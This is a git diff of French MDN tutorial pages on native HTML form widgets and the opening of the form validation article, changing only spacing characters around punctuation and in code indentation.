L'élément {{htmlelement("input")}} est spécial car il peut être pratiquement n'importe quoi. En réglant simplement ses attributs de type, il peut changer radicalement, et il est utilisé pour créer la plupart des types de widgets de formulaire allant des champs texte sur une seule ligne, contrôles sans entrée de texte, contrôles de date et heure jusqu'aux boutons. Il y a toutefois des exceptions, comme {{htmlelement("textarea")}} pour les entrées multi-lignes. Prenez bien note de ceci en lisant cet article. -### Champs texte sur une seule ligne +### Champs texte sur une seule ligne On crée un champ texte sur une seule ligne avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type", "input")}} est mis à `text` (maisi, si vous n'indiquez pas l'attribut {{htmlattrxref("type", "input")}}, `text` est la valeur par défaut). `text` est aussi la valeur de repli si celle indiquée pour l'attribut {{htmlattrxref("type", "input")}} est inconnue du navigateur (par exemple, si vous spécifiez `type="date"` et que le navigateur ne prend pas en charge les sélecteurs de date natifs). > **Note :** Vous trouverez des exemples de tous les types de champ texte sur une ligne dans GitHub à [single-line-text-fields.html](https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/single-line-text-fields.html) (voir [directement aussi](https://mdn.github.io/learning-area/html/forms/native-form-widgets/single-line-text-fields.html)). -Voici un exemple élémentaire de champ texte sur une ligne : +Voici un exemple élémentaire de champ texte sur une ligne : ```html <input type="text" id="comment" name="comment" value="Je suis un champ texte"> ``` -Les champs texte sur une ligne n'ont qu'une seule contrainte : si vous saisissez du texte avec des sauts de ligne, le navigateur les supprime avant d'envoyer les données. +Les champs texte sur une ligne n'ont qu'une seule contrainte : si vous saisissez du texte avec des sauts de ligne, le navigateur les supprime avant d'envoyer les données.  @@ -90,15 +90,15 @@ HTML5 améliore le champ texte élémentaire sur une ligne par ajout de valeurs #### Champ d'adresse électronique -Ce type de champ est défini en donnant la valeur `email` à l'attribut {{htmlattrxref("type","input")}} : +Ce type de champ est défini en donnant la valeur `email` à l'attribut {{htmlattrxref("type","input")}} : ```html <input type="email" id="email" name="email" multiple> ``` -Avec ce `type` , l'utilisateur doit saisir un e‑mail valide dans le champ. Tout autre type de contenu amène le navigateur à émettre une erreur lors de la soumission du formulaire. Notez que cette validation s'opère côté client et est faite par le navigateur : +Avec ce `type` , l'utilisateur doit saisir un e‑mail valide dans le champ. Tout autre type de contenu amène le navigateur à émettre une erreur lors de la soumission du formulaire. Notez que cette validation s'opère côté client et est faite par le navigateur : - + Avec l'attribut {{htmlattrxref("multiple","input")}}, l'utilisateur pourra saisir plusieurs adresses électroniques dans la même entrée (avec une virgule comme séparateur). @@ -108,7 +108,7 @@ Sur certains périphériques (les mobiles en particulier), un clavier virtuel di #### Champ pour mot de passe -Ce type de champ est défini en donnant la valeur `password` à l'attribut {{htmlattrxref("type","input")}} : +Ce type de champ est défini en donnant la valeur `password` à l'attribut {{htmlattrxref("type","input")}} : ```html <input type="password" id="pwd" name="pwd"> @@ -116,25 +116,25 @@ Ce type de champ est défini en donnant la valeur `password` à l'attribut {{htm Aucune contrainte de saisie du texte n'est ajoutée, mais la valeur entrée dans le champ est masquée (avec des points ou des astérisques) afin qu'elle ne puisse pas être lue par d'autres. -Gardez à l'esprit que ceci n'est qu'une fonction de l'interface utilisateur ; sauf si vous soumettez le formulaire de manière sécurisée, il sera envoyé en texte brut, ce qui est mauvais pour la sécurité — un tiers malicieux pourrait intercepter les données et voler le mot de passe, les détails de la carte de crédit ou autre texte soumis. La meilleure façon de protéger l'utilisateur contre ceci consiste à héberger toute page contenant des formulaires avec une connexion sécurisée (par ex. avec https\:// ...), ainsi les données sont chiffrées avant expédition. +Gardez à l'esprit que ceci n'est qu'une fonction de l'interface utilisateur ; sauf si vous soumettez le formulaire de manière sécurisée, il sera envoyé en texte brut, ce qui est mauvais pour la sécurité — un tiers malicieux pourrait intercepter les données et voler le mot de passe, les détails de la carte de crédit ou autre texte soumis. La meilleure façon de protéger l'utilisateur contre ceci consiste à héberger toute page contenant des formulaires avec une connexion sécurisée (par ex. avec https\:// ...), ainsi les données sont chiffrées avant expédition. Les navigateurs modernes reconnaissent les risques courus lors de l'envoi de formulaires avec une connexion non sécurisée et affichent des avertissements pour prévenir les utilisateurs. Pour plus de précisions sur ce que Firefox a mis en œuvre, voir [Mots de passe peu sûrs](/fr/docs/Sécurité/MotsdepasseInsecurisés). #### Champ de recherche -Ce type de champ se définit avec la valeur `search` de l'attribut {{htmlattrxref("type","input")}} : +Ce type de champ se définit avec la valeur `search` de l'attribut {{htmlattrxref("type","input")}} : ```html <input type="search" id="search" name="search"> ``` -La principale différence entre un champ textuel et un champ de recherche est dans l'apparence — souvent, les champs de recherche sont affichés avec des coins arrondis, et/ou avec une « × » à cliquer pour effacer la valeur entrée. Toutefois, une fonction est aussi ajoutée : les valeurs saisies peuvent être automatiquement enregistrées afin d'être utilisées pour compléter des recherches sur plusieurs pages du même site. +La principale différence entre un champ textuel et un champ de recherche est dans l'apparence — souvent, les champs de recherche sont affichés avec des coins arrondis, et/ou avec une « × » à cliquer pour effacer la valeur entrée. Toutefois, une fonction est aussi ajoutée : les valeurs saisies peuvent être automatiquement enregistrées afin d'être utilisées pour compléter des recherches sur plusieurs pages du même site.  #### Champ pour numéro de téléphone -Ce type de champ se définit en donnant la valeur `tel` à l'attribut {{htmlattrxref("type","input")}} : +Ce type de champ se définit en donnant la valeur `tel` à l'attribut {{htmlattrxref("type","input")}} : ```html <input type="tel" id="tel" name="tel"> @@ -144,13 +144,13 @@ Ce type de champ se définit en donnant la valeur `tel` à l'attribut {{htmlattr #### Champ d'URL -Ce type de champ se définit en donnant la valeur `url` à l'attribut {{htmlattrxref("type","input")}} : +Ce type de champ se définit en donnant la valeur `url` à l'attribut {{htmlattrxref("type","input")}} : ```html <input type="url" id="url" name="url"> ``` -Il ajoute une contrainte de validation spéciale du champ ; le navigateur renvoie une erreur si une URL invalide est saisie. +Il ajoute une contrainte de validation spéciale du champ ; le navigateur renvoie une erreur si une URL invalide est saisie. > **Note :** ce n'est pas parce qu'une URL est bien formée qu'elle pointe vers un emplacement qui existe réellement. @@ -158,7 +158,7 @@ Il ajoute une contrainte de validation spéciale du champ ; le navigateur renv ### Champs texte multilignes -Un champ texte sur plusieurs lignes se définit avec l'élément {{HTMLElement("textarea")}}, et non avec l'élément {{HTMLElement("input")}}. +Un champ texte sur plusieurs lignes se définit avec l'élément {{HTMLElement("textarea")}}, et non avec l'élément {{HTMLElement("input")}}. ```html <textarea cols="30" rows="10"></textarea> @@ -170,20 +170,20 @@ La principale différence entre un champ `textarea` et un champ monoligne est qu > **Note :** Vous trouverez un exemple de champ texte multiligne sur GitHub à l'adresse [multi-line-text-field.html](https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/multi-line-text-field.html) (voir aussi [directement](https://mdn.github.io/learning-area/html/forms/native-form-widgets/multi-line-text-field.html)). Jetez-y un coup d'œil, et remarquez que dans la plupart des navigateurs, la zone de texte est dotée d'une poignée d'étirement en bas à droite pour permettre à l'utilisateur de la redimensionner. Cette capacité de redimensionnement peut être désactivée en réglant la propriété {{cssxref("resize")}} de la zone de texte à `none` dans les CSS. -{{htmlelement("textarea")}} accepte également quelques attributs pour contrôler son rendu sur plusieurs lignes (outre plusieurs autres) : +{{htmlelement("textarea")}} accepte également quelques attributs pour contrôler son rendu sur plusieurs lignes (outre plusieurs autres) : | Nom de l'attribut | Valeur par défaut | Description | | ------------------------------------------------ | ----------------- | ---------------------------------------------------------------------------------------- | | {{htmlattrxref("cols","textarea")}} | `20` | Largeur visible de la boîte de contrôle texte, mesurée en largeurs de caractères. | | {{htmlattrxref("rows","textarea")}} | | Nombre de lignes de texte visibles dans la boîte de contrôle. | -| {{htmlattrxref("wrap","textarea")}} | `soft` | Indique comment le contrôle va à la ligne. Les valeurs possibles sont : `hard` ou `soft` | +| {{htmlattrxref("wrap","textarea")}} | `soft` | Indique comment le contrôle va à la ligne. Les valeurs possibles sont : `hard` ou `soft` | Notez que l'élément {{HTMLElement("textarea")}} est écrit un peu différemment de l'élément {{HTMLElement("input")}}. Ce dernier est un élément vide, ce qui signifie qu'il ne peut pas contenir d'élément enfant. A contrario, l'élément {{HTMLElement("textarea")}} est un élément régulier pouvant contenir des enfants contenus de texte. -Deux points clés à noter ici : +Deux points clés à noter ici : -- Si vous voulez définir une valeur par défaut pour un élément {{HTMLElement("input")}}, vous devez utiliser l'attribut `value` ; avec un élément {{HTMLElement("textarea")}} mettez le texte par défaut entre la balise ouvrante et la balise fermante du dit élément. -- Par nature, l'élément {{HTMLElement("textarea")}} n'accept que des contenus textuels ; ce qui signifie que si du contenu HTML est placé dans un élément {{HTMLElement("textarea")}} il sera restitué sous forme de texte brut. +- Si vous voulez définir une valeur par défaut pour un élément {{HTMLElement("input")}}, vous devez utiliser l'attribut `value` ; avec un élément {{HTMLElement("textarea")}} mettez le texte par défaut entre la balise ouvrante et la balise fermante du dit élément. +- Par nature, l'élément {{HTMLElement("textarea")}} n'accept que des contenus textuels ; ce qui signifie que si du contenu HTML est placé dans un élément {{HTMLElement("textarea")}} il sera restitué sous forme de texte brut. ## Contenu déroulant @@ -205,16 +205,16 @@ Si nécessaire, la valeur par défaut de la boîte de sélection peut être déf ```html <select> - <optgroup label="Fruits"> - <option>Banane</option> - <option selected>Cerise</option> - <option>Citron</option> - </optgroup> - <optgroup label="Légumes"> - <option>Carotte</option> - <option>Aubergine</option> - <option>Pomme de terre</option> - </optgroup> + <optgroup label="Fruits"> + <option>Banane</option> + <option selected>Cerise</option> + <option>Citron</option> + </optgroup> + <optgroup label="Légumes"> + <option>Carotte</option> + <option>Aubergine</option> + <option>Pomme de terre</option> + </optgroup> </select> ``` @@ -251,17 +251,17 @@ La liste de données est alors liée à un champ texte (généralement un élém Une fois la liste de données affiliée au widget de formulaire, ses options s'utilisent comme complémentation du texte saisi par l'utilisateur ; cela se présente généralement à l'utilisateur sous forme d'une boîte déroulante listant des correspondances possibles avec ce qui doit être saisi dans la boîte. ```html - <label for="onFruit">Quel est votre fruit préféré ?</label> + <label for="onFruit">Quel est votre fruit préféré ?</label> <input type="text" id="onFruit" list="maSuggestion" /> <datalist id="maSuggestion"> - <option>Pomme</option> - <option>Banane</option> - <option>Mûre</option> - <option>Airelles</option> - <option>Citron</option> - <option>Litchi</option> - <option>Pêche</option> - <option>Poire</option> + <option>Pomme</option> + <option>Banane</option> + <option>Mûre</option> + <option>Airelles</option> + <option>Citron</option> + <option>Litchi</option> + <option>Pêche</option> + <option>Poire</option> </datalist> ``` @@ -276,7 +276,7 @@ L'élément {{HTMLElement("datalist")}} est un ajout très récent aux formulair Pour gérer cela, voici une petite astuce offrant une bonne solution de repli pour ces navigateurs : ```html -<label for="myFruit">Quel est votre fruit préféré ? (avec repli)</label> +<label for="myFruit">Quel est votre fruit préféré ? (avec repli)</label> <input type="text" id="myFruit" name="fruit" list="fruitList"> <datalist id="fruitList"> @@ -321,13 +321,13 @@ Les navigateurs qui prennent en charge l'élément {{HTMLElement("datalist")}} i ## Éléments à cocher -Les éléments à cocher sont des widgets dont l'état se modifie en cliquant sur eux. Il existe deux types d'éléments à cocher : la case à cocher et le bouton radio. Les deux utilisent l'attribut {{htmlattrxref("checked","input")}} pour indiquer si le widget est coché par défaut ou non. +Les éléments à cocher sont des widgets dont l'état se modifie en cliquant sur eux. Il existe deux types d'éléments à cocher : la case à cocher et le bouton radio. Les deux utilisent l'attribut {{htmlattrxref("checked","input")}} pour indiquer si le widget est coché par défaut ou non. Il est important de noter que ces widgets ne se comportent pas tout à fait comme les autres widgets de formulaires. Pour la plupart des widgets, une fois que le formulaire est envoyé, tous les widgets dont l'attribut {{htmlattrxref("name","input")}} est défini sont envoyés, même s'ils ne sont pas renseignés. Dans le cas des éléments à cocher, leurs valeurs ne sont envoyées que s'ils sont cochés. S'ils ne sont pas cochés, rien n'est envoyé, pas même la valeur de leur attribut `name`. > **Note :** Vous trouverez les exemples de cette section sur GitHub à l'adresse [checkable-items.html](https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/checkable-items.html) ([voir directement aussi](https://mdn.github.io/learning-area/html/forms/native-form-widgets/checkable-items.html)). -Pour un maximum de convivialité/accessibilité, il est conseillé d'entourer chaque liste d'éléments liés dans un {{htmlelement("fieldset")}}, avec un élément {{htmlelement("legend")}} fournissant une description globale de la liste. Chaque paire individuelle d'éléments {{htmlelement("label")}}/{{htmlelement("input")}} doit être contenue dans son propre élément de liste (ou similaire), comme le montrent les exemples. +Pour un maximum de convivialité/accessibilité, il est conseillé d'entourer chaque liste d'éléments liés dans un {{htmlelement("fieldset")}}, avec un élément {{htmlelement("legend")}} fournissant une description globale de la liste. Chaque paire individuelle d'éléments {{htmlelement("label")}}/{{htmlelement("input")}} doit être contenue dans son propre élément de liste (ou similaire), comme le montrent les exemples. Vous devez également fournir des valeurs pour ces types d'entrées dans l'attribut `value` si vous voulez qu'elles aient un sens — si aucune valeur n'est fournie, les cases à cocher et les boutons radio ont la valeur `on`. @@ -355,7 +355,7 @@ Plusieurs boutons radio peuvent être liés ensemble. S'ils partagent la même v ```html <fieldset> - <legend>Quel est votre mets préféré ?</legend> + <legend>Quel est votre mets préféré ?</legend> <ul> <li> <label for="soup">Soupe</label> @@ -377,7 +377,7 @@ Plusieurs boutons radio peuvent être liés ensemble. S'ils partagent la même v ## Boutons -Dans les formulaires HTML, il existe trois types de boutons : +Dans les formulaires HTML, il existe trois types de boutons : - Submit - : Envoie les données du formulaire au serveur. @@ -386,7 +386,7 @@ Dans les formulaires HTML, il existe trois types de boutons : - Anonymous - : Type de bouton n'ayant pas d'effet prédéfini mais qui peut être personnalisé grâce à du code JavaScript. -Un bouton se crée avec un élément {{HTMLElement("button")}} ou un élément {{HTMLElement("input")}}. C'est la valeur de l'attribut {{htmlattrxref("type","input")}} qui définit le type de bouton affiché : +Un bouton se crée avec un élément {{HTMLElement("button")}} ou un élément {{HTMLElement("input")}}. C'est la valeur de l'attribut {{htmlattrxref("type","input")}} qui définit le type de bouton affiché : ### submit @@ -418,7 +418,7 @@ Un bouton se crée avec un élément {{HTMLElement("button")}} ou un élément { <input type="button" value="Ceci est un bouton lambda"> ``` -Les boutons se comportent de la même manière que vous utilisiez l'élément {{HTMLElement("button")}} ou l'élément {{HTMLElement("input")}}. Il existe toutefois quelques différences à noter : +Les boutons se comportent de la même manière que vous utilisiez l'élément {{HTMLElement("button")}} ou l'élément {{HTMLElement("input")}}. Il existe toutefois quelques différences à noter : - Comme on peut le voir dans l'exemple précédent, les éléments {{HTMLElement("button")}} autorisent l'utilisation de contenu HTML dans l'étiquette, tandis que les éléments {{HTMLElement("input")}} n'acceptent que du texte brut. - Dans le cas des éléments {{HTMLElement("button")}}, il est possible d'avoir une valeur différente de l'étiquette du bouton (toutefois, ceci ne peut être utilisé pour les versions antérieures à la version 8 d'Internet Explorer). @@ -435,7 +435,7 @@ Ces widgets sont des contrôles permettant l'utilisateur de saisir des données On crée un widget pour nombres avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur `number`. Ce contrôle ressemble à un champ texte mais il n'accepte que des chiffres en virgule flottante, et propose habituellement des boutons pour augmenter ou réduire la valeur dans le widget. -Il est aussi possible de : +Il est aussi possible de : - contraindre la valeur en définissant les attributs {{htmlattrxref("min","input")}} et {{htmlattrxref("max","input")}}. - définir l'incrément de modification de la valeur du widget à l'aide des boutons ad‑hoc en précisant l'attribut {{htmlattrxref("step","input")}}. @@ -465,12 +465,12 @@ Cet exemple créé un curseur dont les valeurs varient entre 0 et 500, et dont l Un problème avec les curseurs est qu'il n'offrent aucun moyen visue de savoir quelle est leur valeur courante. Il est nécessaire d'ajouter cela vous‑même à l'aide de JavaScript, mais c'est assez facile. Dans cet exemple nous ajoutons un élément {{htmlelement("span")}} dans lequel nous écrivons la valeur courante du curseur et la mettons à jour quand elle est modifiée. ```html -<label for="beans">Combien de haricots pouvez‑vous manger ?</label> +<label for="beans">Combien de haricots pouvez‑vous manger ?</label> <input type="range" name="beans" id="beans" min="0" max="500" step="10"> <span class="beancount"></span> ``` -et en JavaScript : +et en JavaScript : ```js var beans = document.querySelector('#beans'); @@ -483,7 +483,7 @@ beans.oninput = function() { } ``` -Ici nous stockons dans deux variables les références du curseur et celle de `span`, puis nous réglons immédiatement le [`textContent`](/fr/docs/Web/API/Node/textContent) de `span` à la valeur courante `value` de l'entrée. Enfin, nous avons mis en place un gestionnaire d'événements oninput de sorte que chaque fois que le curseur de plage est déplacé, le `textContent` de `span` est mis à jour avec la nouvelle valeur de l'entrée. +Ici nous stockons dans deux variables les références du curseur et celle de `span`, puis nous réglons immédiatement le [`textContent`](/fr/docs/Web/API/Node/textContent) de `span` à la valeur courante `value` de l'entrée. Enfin, nous avons mis en place un gestionnaire d'événements oninput de sorte que chaque fois que le curseur de plage est déplacé, le `textContent` de `span` est mis à jour avec la nouvelle valeur de l'entrée. L'attribut `range` pour `input` n'est pas pris en charge dans les versions d'Internet Explorer dont le numéro est inférieur à 10. @@ -503,7 +503,7 @@ Cette valeur d'attribut créé un widget pour afficher et sélectionner une date #### `month` -Cette valeur d'attribut créé un widget pour afficher et sélectionner un mois dans une année donnée. +Cette valeur d'attribut créé un widget pour afficher et sélectionner un mois dans une année donnée. ```html <input type="month" name="month" id="month"> @@ -511,7 +511,7 @@ Cette valeur d'attribut créé un widget pour afficher et sélectionner un mois #### `time` -Cette valeur d'attribut créé un widget pour afficher et sélectionner un horaire. +Cette valeur d'attribut créé un widget pour afficher et sélectionner un horaire. ```html <input type="time" name="time" id="time"> @@ -519,7 +519,7 @@ Cette valeur d'attribut créé un widget pour afficher et sélectionner un hora #### `week` -Cette valeur d'attribut crée un widget pour afficher et sélectionner une semaine et l'année correspondante. +Cette valeur d'attribut crée un widget pour afficher et sélectionner une semaine et l'année correspondante. ```html <input type="week" name="week" id="week"> @@ -528,7 +528,7 @@ Cette valeur d'attribut crée un widget pour afficher et sélectionner une sema Tous les contrôles de sélection de date et heure peuvent être contraints à l'aide des attributs {{htmlattrxref("min","input")}} et {{htmlattrxref("max","input")}}. ```html - <label for="maDate">Quand êtes vous disponible cet été ?</label> + <label for="maDate">Quand êtes vous disponible cet été ?</label> <input type="date" min="2013-06-01" max="2013-08-31" id="maDate"> ``` @@ -536,7 +536,7 @@ Tous les contrôles de sélection de date et heure peuvent être contraints à l ### Sélecteur de couleur -Les couleurs sont toujours compliquées à manier. Il existe plusieurs façons de les exprimer : valeurs RGB (décimale ou hexadécimale), valeurs HSL, mots-clés, etc. Les widgets de sélection de couleur permettent aux utilisateurs de sélectionner une couleur dans un contexte textuel et visuel. +Les couleurs sont toujours compliquées à manier. Il existe plusieurs façons de les exprimer : valeurs RGB (décimale ou hexadécimale), valeurs HSL, mots-clés, etc. Les widgets de sélection de couleur permettent aux utilisateurs de sélectionner une couleur dans un contexte textuel et visuel. Un widget de sélection de couleur se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur `color`. @@ -554,7 +554,7 @@ Il existe d'autres types de widgets qui ne peuvent pas être classés facilement ### Sélection de fichier -Les formulaires HTML permettent d'envoyer des fichiers à un serveur. Cette action spécifique est détaillée dans l'article « [Envoi et extraction des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires "/fr/docs/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires") ». Le widget de sélection de fichier permet à l'utilisateur de choisir un ou plusieurs fichiers à envoyer. +Les formulaires HTML permettent d'envoyer des fichiers à un serveur. Cette action spécifique est détaillée dans l'article « [Envoi et extraction des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires "/fr/docs/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires") ». Le widget de sélection de fichier permet à l'utilisateur de choisir un ou plusieurs fichiers à envoyer. Pour créer un widget de sélection de fichier, vous devez utiliser un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur `file`. Les types de fichiers acceptés peuvent être contraints en utilisant l'attribut {{htmlattrxref("accept","input")}}. De plus, si vous souhaitez permettre à l'utilisateur de choisir plusieurs fichiers, vous pouvez le faire en ajoutant l'attribut {{htmlattrxref("multiple","input")}}. @@ -570,7 +570,7 @@ Dans cet exemple, le widget de sélection de fichiers permet de sélectionner de Il est parfois pratique pour des raisons techniques d'avoir des morceaux d'informations qui soient envoyés au serveur sans être montrées à l'utilisateur. Pour ce faire, vous pouvez ajouter un élément invisible dans votre formulaire. Cela est possible en utilisant un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur `hidden`. -Si vous créez un tel élément, il est obligatoire de définir ses attributs `name` et `value` : +Si vous créez un tel élément, il est obligatoire de définir ses attributs `name` et `value` : ```html <input type="hidden" id="timestamp" name="timestamp" value="1286705410"> @@ -586,16 +586,16 @@ Une image-bouton se crée avec un élément {{HTMLElement("input")}} dont l'attr <input type="image" alt="Click me!" src="my-img.png" width="80" height="30" /> ``` -Si l'image-bouton est utilisée pour envoyer un formulaire, ce widget n'envoie pas sa valeur mais les coordonnées X et Y du clic sur l'image (les coordonnées sont relatives à l'image, ce qui veut dire que le coin supérieur gauche représente les coordonnées 0, 0). Les coordonnées sont envoyées sous la forme de deux paires de clé/valeur : +Si l'image-bouton est utilisée pour envoyer un formulaire, ce widget n'envoie pas sa valeur mais les coordonnées X et Y du clic sur l'image (les coordonnées sont relatives à l'image, ce qui veut dire que le coin supérieur gauche représente les coordonnées 0, 0). Les coordonnées sont envoyées sous la forme de deux paires de clé/valeur : -- la valeur X est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « *.x* » -- la valeur Y est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « *.y* ». +- la valeur X est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « *.x* » +- la valeur Y est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « *.y* ». -Lorsque vous cliquez sur l'image dans ce formulaire, vous êtes redirigés une URL du type suivant : +Lorsque vous cliquez sur l'image dans ce formulaire, vous êtes redirigés une URL du type suivant : http://foo.com?pos.x=123&pos.y=456 -C'est une façon très commode de construire une « hot map » (cartographie des parties d'une page Internet le plus souvent balayées par le regard des lecteurs). La manière d'envoyer et d'extraire ces valeurs est détaillée dans l'article « [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires "/fr/docs/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires") ». +C'est une façon très commode de construire une « hot map » (cartographie des parties d'une page Internet le plus souvent balayées par le regard des lecteurs). La manière d'envoyer et d'extraire ces valeurs est détaillée dans l'article « [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires "/fr/docs/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires") ». ### Compteurs et barres de progression @@ -611,13 +611,13 @@ Une barre de progression représente une valeur qui évolue dans le temps jusqu' Cela sert à mettre en œuvre visuellement un rapport d'avancement, comme le pourcentage du nombre total de fichiers téléchargés ou le nombre de questions posées dans un questionnaire. -Le contenu dans l'élément {{HTMLElement("progress")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ; les technologies d'assistance vocalisent ce contenu. +Le contenu dans l'élément {{HTMLElement("progress")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ; les technologies d'assistance vocalisent ce contenu. #### Meter -Un étalon est une valeur fixe dans une plage délimitée par une valeur minimale {{htmlattrxref("min","meter")}} et une valeur maximale {{htmlattrxref("max","meter")}}. Cette valeur est affichée dans une barre, et pour savoir à quoi cette barre ressemble, nous comparons certaines valeurs : +Un étalon est une valeur fixe dans une plage délimitée par une valeur minimale {{htmlattrxref("min","meter")}} et une valeur maximale {{htmlattrxref("max","meter")}}. Cette valeur est affichée dans une barre, et pour savoir à quoi cette barre ressemble, nous comparons certaines valeurs : -- les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}} divisent l'intervalle en trois parties : +- les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}} divisent l'intervalle en trois parties : - la partie basse de l'intervalle est comprise entre les valeurs {{htmlattrxref("min","meter")}} et {{htmlattrxref("low","meter")}} (les deux valeurs sont incluses) - la partie médiane de l'intervalle est comprise entre les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}} (les deux valeurs sont exclues) @@ -629,7 +629,7 @@ Un étalon est une valeur fixe dans une plage délimitée par une valeur minimal - Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie médiane, la partie basse est considérée comme la partie moyenne, la partie médiane comme la partie préférée et la partie haute comme moyenne également. - Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie haute, la partie basse est considérée comme la moins favorable, la partie médiane comme moyenne et la partie haute comme la partie préférée. -Tous les navigateurs compatibles avec l'élément {{HTMLElement("meter")}} utilisent ces valeurs pour modifier la couleur de la barre : +Tous les navigateurs compatibles avec l'élément {{HTMLElement("meter")}} utilisent ces valeurs pour modifier la couleur de la barre : - Si la valeur actuelle est dans la partie préférée, la barre est verte. - Si la valeur actuelle est dans la partie moyenne, la barre est jaune. @@ -641,17 +641,17 @@ Une telle barre se crée avec un élément {{HTMLElement("meter")}}. Cela permet <meter min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter> ``` -Le contenu de l'élément {{HTMLElement("meter")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ; les technologies d'assistance vocalisent cet affichage. +Le contenu de l'élément {{HTMLElement("meter")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ; les technologies d'assistance vocalisent cet affichage. La prise en charge de `progress` et `meter` est vraiment bonne — il n'y a pas de prise en charge dans Internet Explorer, mais les autres navigateurs l'acceptent bien. ## Conclusion -Comme nous venons de le voir, il y a pas mal d'éléments de formulaire différents disponibles — il n'est pas nécessaire de mémoriser l'ensemble de ces détails dès maintenant, mais vous pourrez revenir à cet article tant que vous le voudrez pour revoir tel ou tel détail. +Comme nous venons de le voir, il y a pas mal d'éléments de formulaire différents disponibles — il n'est pas nécessaire de mémoriser l'ensemble de ces détails dès maintenant, mais vous pourrez revenir à cet article tant que vous le voudrez pour revoir tel ou tel détail. ## Voir également -Pour entrer plus en détails des différents widgets de formulaires, voici quelques ressources externes très utiles que vous pouvez visiter : +Pour entrer plus en détails des différents widgets de formulaires, voici quelques ressources externes très utiles que vous pouvez visiter : - [L'état actuelle des formulaires HTML5](http://wufoo.com/html5/) par Wufoo (en anglais) - [Tests HTML5 - inputs](http://www.quirksmode.org/html5/inputs.html) sur Quirksmode (en anglais) (et [pour les navigateurs mobiles](http://www.quirksmode.org/html5/inputs_mobile.html)) diff --git a/files/fr/learn/forms/form_validation/index.md b/files/fr/learn/forms/form_validation/index.md index 351da31325..1a49462038 100644 --- a/files/fr/learn/forms/form_validation/index.md +++ b/files/fr/learn/forms/form_validation/index.md @@ -11,7 +11,7 @@ Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les don <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Notions concernant les ordinateurs, une bonne compréhension du <a href="/fr/docs/Learn/HTML">HTML</a>, des @@ -20,7 +20,7 @@ Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les don </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Comprendre ce qu'est la validation d'un formulaire, pourquoi c'est important et comment la mettre en œuvre. @@ -33,20 +33,20 @@ Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les don Allez sur n'importe quel site à la mode avec un formulaire d'inscription et vous remarquerez des retours si vous n'entrez pas les données dans le format attendu. Vous aurez des messages comme : -- « Ce champ est obligatoire » (vous ne pouvez pas le laisser vide) -- « Veuillez entrer votre numéro de téléphone au format xxx-xxxx » (il attend trois chiffres suivis d'un tiret, suivi de quatre chiffres). -- « Veuillez entrer une adresse e-mail valide » (ce que vous avez saisi ne ressemble pas à une adresse e-mail valide). -- « Votre mot de passe doit comporter entre 8 et 30 caractères et contenir une majuscule, un symbole et un chiffre » (sérieusement ?). +- « Ce champ est obligatoire » (vous ne pouvez pas le laisser vide) +- « Veuillez entrer votre numéro de téléphone au format xxx-xxxx » (il attend trois chiffres suivis d'un tiret, suivi de quatre chiffres). +- « Veuillez entrer une adresse e-mail valide » (ce que vous avez saisi ne ressemble pas à une adresse e-mail valide). +- « Votre mot de passe doit comporter entre 8 et 30 caractères et contenir une majuscule, un symbole et un chiffre » (sérieusement ?). -C'est ce qu'on appelle la validation de formulaire — lorsque vous saisissez des données, l'application Web vérifie si elles sont correctes. Si elles sont correctes, l'application permet que les données soient soumises au serveur et (généralement) sauvegardées dans une base de données ; si ce n'est pas le cas, elle émet des messages d'erreur pour expliquer ce que vous avez fait de mal (pour autant que vous l'ayez fait). La validation des formulaires peut être mise en œuvre de différentes manières. +C'est ce qu'on appelle la validation de formulaire — lorsque vous saisissez des données, l'application Web vérifie si elles sont correctes. Si elles sont correctes, l'application permet que les données soient soumises au serveur et (généralement) sauvegardées dans une base de données ; si ce n'est pas le cas, elle émet des messages d'erreur pour expliquer ce que vous avez fait de mal (pour autant que vous l'ayez fait). La validation des formulaires peut être mise en œuvre de différentes manières. -La vérité est qu'aucun d'entre nous n'_aime_ remplir des formulaires — les formulaires ennuient les utilisateurs, tout le prouve : cela les incite à partir et à aller voir ailleurs s'ils sont mal faits. Bref, les formulaires, c'est nullissime. +La vérité est qu'aucun d'entre nous n'_aime_ remplir des formulaires — les formulaires ennuient 